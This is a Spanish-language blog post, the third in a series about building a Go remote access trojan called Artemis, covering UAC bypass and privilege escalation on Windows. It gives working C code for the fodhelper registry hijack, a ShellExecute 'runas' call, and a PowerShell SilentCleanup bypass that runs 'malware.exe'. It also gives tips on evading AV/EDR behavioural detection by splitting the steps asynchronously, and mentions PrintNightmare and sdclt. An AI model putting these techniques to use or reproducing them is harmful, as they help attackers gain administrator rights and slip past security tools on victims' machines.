Escalar privilegios: Artemis 0x3
Parte 3 de la serie del RAT que estoy desarrollando en GO; aquí tienes la parte 2 si aun no la has leído. En esta publicación voy a implementar un módulo de escalación de privilegios.
Cuando se desarrolla malware, algunas veces es necesario tener un modulo que permita obtener privilegios elevados. En este post explicaré algunos de estos métodos que particularmente utilizo a menudo, y que posteriormente implementaré en el RAT que estoy desarrollando.
Existen diferentes técnicas para elevar privilegios, se podría clasificar según su interacción con el usuario/sistema. Para esta publicación he decidido implementar 3 métodos de elevación de privilegios que representan de cierta forma las 3 formas globales de hacer esto.
Método “clásico”
En una primera instancia tenemos la forma clásica, que consiste en ejecutar el malware desde su inicio con privilegios elevados. Esto puede obtenerse agregando ciertos parámetros al linkear el pefile; de hecho si revisas la parte 1 de shazam se puede ver que dentro del archivo install.bat
ya lo tengo implementado.
/MANIFEST /MANIFESTUAC:"level='highestAvailable' uiAccess='false'"
Esto va a generar el manifest del pefile que contendrá una estructura como esta. Puedes leer acerca de esto por aquí.
Esto al ejecutarse va a requerir que el usuario acepte el prompt UAC que tiene windows por defecto; marcando que se trata de un archivo desconocido y no confiable. Por lo que resulta poco probable que el usuario acepte esta notificación.
Para “solucionar” esto realmente hay muchas formas; no voy a dar detalle sobre el bypass de los AV/EDR con respecto a esta técnica porque eso ya es otro tema, y comento esto dado que el siguiente código es fácilmente detectable por un AV/EDR. Volviendo a lo importante, para “mejorar” el prompt y por lo menos se vea más confiable, voy a volver a compilar el malware, pero esta vez usando level=asInvoker
de este modo no me va a solicitar admin; sin embargo si lo voy a solicitar en runtime haciendo algo como esto:
ShellExecute(NULL, "runas", "cmd", "/c start cmd.exe", 0, SW_SHOWNORMAL);
Donde se debe reemplazar cmd.exe por el ejecutable que quieres abrir con permisos de admin. Como ya comenté esta instrucción es detectable, se debería aplicar ofuscaciones en memoria así como evitar usar procedimientos de WinAPI. Si ejecutas el malware ya el prompt pasa a ser diferente.
Sin embargo si le das en Mostrar más detalle si podrás ver lo que realmente se está ejecutando.
Esta resulta ser la forma más simple de tener permisos elevados; el problema es que claro necesita la interacción completa del usuario. Algunos malwares constantemente solicitan estos permisos pretendiendo ser actualizaciones de Windows o de algún software con el fin de que el usuario por insistencia termine aceptando y de esta forma obtener permisos de administrador.
Método Fileless - Fodhelper
Otro tipo de bypass UAC es el método de fileless; llamado así dado que no es necesario hacer drop de ningún archivo en el sistema. Es probablemente el método más común para malwares populares, dado que es bastante simple de hacer. El problema es que es altamente detectable a nivel de comportamiento; puesto que solo basta con monitorear las rutas necesarias. Sucede que con este método no se necesita la interacción del usuario para poder ejecutarse; sin embargo para lograr un bypass por parte de los AV/EDR es necesario simular el procedimiento como interacción directa del usuario. Algunos controles de seguridad por ejemplo, no tienen como heurística de comportamiento solamente la ruta a monitorear; si no también una serie de condiciones como el tiempo, las rutas, nombres de los archivos, etc.
HKEY hKey;
LONG result;
char *filename = "C:\\windows\\system32\\cmd.exe";
char cmdLine[234];
int resultCreateKey = RegCreateKeyEx(HKEY_CURRENT_USER, REGPATH, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
if(resultCreateKey==ERROR_SUCCESS){
printf(">OpenKey DelegateExecute\n");
RegSetValueExA(hKey, (char*)"DelegateExecute", 0, REG_SZ, NULL, 0);
printf("-> OpenKey Default\n");
char *a = "cmd /k";
char psKey[120];
sprintf(psKey, "%s %s", a, filename);
RegSetValueExA(hKey, NULL, 0, REG_SZ, psKey, strlen(psKey));
printf("<- OpenKey Default\n");
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
char sysPath[MAX_PATH] = {0};
char cmdTemp[280] = {0};
GetSystemDirectoryA(sysPath, MAX_PATH);
printf("Searching in %s...\n", sysPath);
sprintf(cmdTemp,"%s\\cmd.exe /c start %s\\fodhelper.exe",sysPath, sysPath);
printf("cmdLine %s...\n", cmdTemp);
CreateProcessA(NULL,cmdTemp,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);
printf("Error? %ld\n", GetLastError());
}
Si ejecutas esto debería abrir el cmd.exe como administrador; sin embargo si cambias esto por otra ruta que no corresponda a una “ruta confiable” para Windows o por un archivo sin firmar; será marcado como malware por la mayoría de AV/EDR. Pero claro, esto también depende de la configuración y proveedor del mismo.
Para hacer un rápido bypass de esto es necesario hacerlo de forma asíncrona y en diferentes pasos, adicionalmente usar algo como CreateThread o directamente crear un nuevo proceso para obtener lo mismo pero en diferentes procesos. Esto puede variar según el proveedor; lo importante es “descubrir” la heurística de los “pasos” que se validan; por ejemplo para el caso de KES solo basto cono modificar el flujo en 3 pasos distintos de forma asíncrona; obteniendo esto como resultado.
Así como existe el método fileless fodhelper; existen muchos otros más; diría que los suficientes como para que pruebes y veas cuál te resulta más útil. Por lo pronto implementaré este módulo en Artemis; y quizá más adelante otros métodos similares.
Método Explotación - PrintNightmare
Por último voy a implementar un método que ya expliqué en otra publicación. Se trata de PrintNightmare. El método por explotación no requiere ninguna interacción con el usuario, para este caso en específico, puede ser ejecutada de forma local o remota; lo cual resulta conveniente. Como ya expliqué en el post anterior acerca de esta vulnerabilidad, solo funciona en el contexto de Active Directory. El otro problema es que como son vulnerabilidades ya reportadas y publicadas previamente, ya existe un parche para todas ellas (a menos claro que cuentes con un zero-day); en casi todos los casos ya hay una versión de Windows actualizada con la solución a esas explotaciones.
Otros métodos
Es obvio que no voy a agregar todos los métodos existentes, sin embargo estoy programando Artemis para que sea escalable; y de este modo se puedan agregar módulos programados en C y así tener muchos más métodos no solo de escalación de privilegios. Iré agregando estos módulos más adelante, pero no los explicaré a detalle dado que ya existe documentación de sobra en internet que permiten entenderlo, de los cuales rescato métodos como el de SilentCleanup (UAC Bypass). Una tarea dentro de Windows Task Scheduler que ejecuta una ruta en específico. Lo bueno es que esta ruta se obtiene a través de una variable de entorno que puede ser reemplazada fácilmente.
Basta con reemplazar la variable de entorno windir y definir la estructura system32/cleanmgr.exe en una ubicación definida por ti. Para finalmente ejecutar la tarea programada. O simplemente reemplazar el valor por una instrucción a ejecutarse; como se ve a continuación.
#set or new item property
Set-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Value "cmd.exe /k malware.exe"
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null
Por otro lado tienes métodos como el de DLL Hijacking o utilizando funciones no documentadas como CMLuaUtil, pero a parte que requieren mas pasos, las condiciones o requisitos previos hacen que sea una vulnerabilidad más específica. Otro método fileless que suelo usar mucho es el de sdclt.exe; básicamente se puede hacer con el mismo código de fodhelper, solo que la ruta del registro es otra.
HKCU\Software\Classes\Folder\shell\open\command
Se podría seguir enumerando técnicas; sin embargo el enfoque de la publicación es mostrar las que serán implementadas en Artemis. Ya con esto solo quedaría agregar los módulos al código del malware y probar su funcionamiento.
Conclusiones
Quiero cerrar la publicación mencionando algo que no hice (jeje). No hay que confundir el procedimiento para elevación de privilegios y bypass UAC; si bien es cierto pueden parece iguales, no lo son. Elevar privilegios implica adquirir una jerarquía superior a nivel de usuario; es decir pasar de tener permisos regulares a permisos de administrador o similar. Por otro lado el bypass UAC implica evadir el control de Windows que solicita cuando quieres ejecutar un pefile como administrador; me refiero al prompt que muestra Windows; como sucede con el bypass UAC de silentcleanup.
En fin, esta publicación fue corta porque solo quería mostrar el avance del RAT Artemis; no he tenido mucho tiempo de avanzar más cosas pero espero que para la siguiente publicación pueda subir el release de la versión 1 para que pueda ser probado.